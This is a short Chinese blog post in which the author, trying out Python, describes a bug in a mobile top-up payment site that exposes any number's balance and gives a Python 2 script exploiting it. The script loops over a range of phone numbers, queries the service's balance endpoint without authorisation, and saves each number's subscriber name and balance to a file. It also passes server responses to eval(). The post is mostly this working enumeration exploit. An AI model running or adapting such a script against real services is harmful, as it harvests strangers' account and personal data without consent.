初用python
那个啥,充话费的时候发现移动一个小bug,可以获取任意号码的话费余额,正好试试用python来批量查询一下。没有什么技术含量,不过python确实有很方便,感觉Python2.6对中文的支持有些欠佳。
#coding=UTF-8
import httplib
conn = httplib.HTTPConnection("payment.umpay.com")
false="false"
result = open('result.txt', 'w+')
for yphone in range(13576102121,13576102126,1):
yphone=str(yphone)
conn.request('GET', '/ec3/getAccountFee.do?flag=1&mobileId='+yphone+'&partnerId=M79101&provCode=791&servId=00')
comeback=eval(conn.getresponse().read().decode('utf-8').encode('GBK'))
#output like this: {"command":"ajaxAccountFee","minFee":"","moPreFee":"19","customName":"* * ?"}
if comeback['moPreFee']!='':
print "Num:",yphone,"Name:",comeback['customName'].replace(" ",""),"Fee:",comeback['moPreFee']
writecontent=yphone+" "+comeback['customName'].replace(" ","")+" "+comeback['moPreFee']+"\r"
result.write (writecontent)
result.close()
conn.close()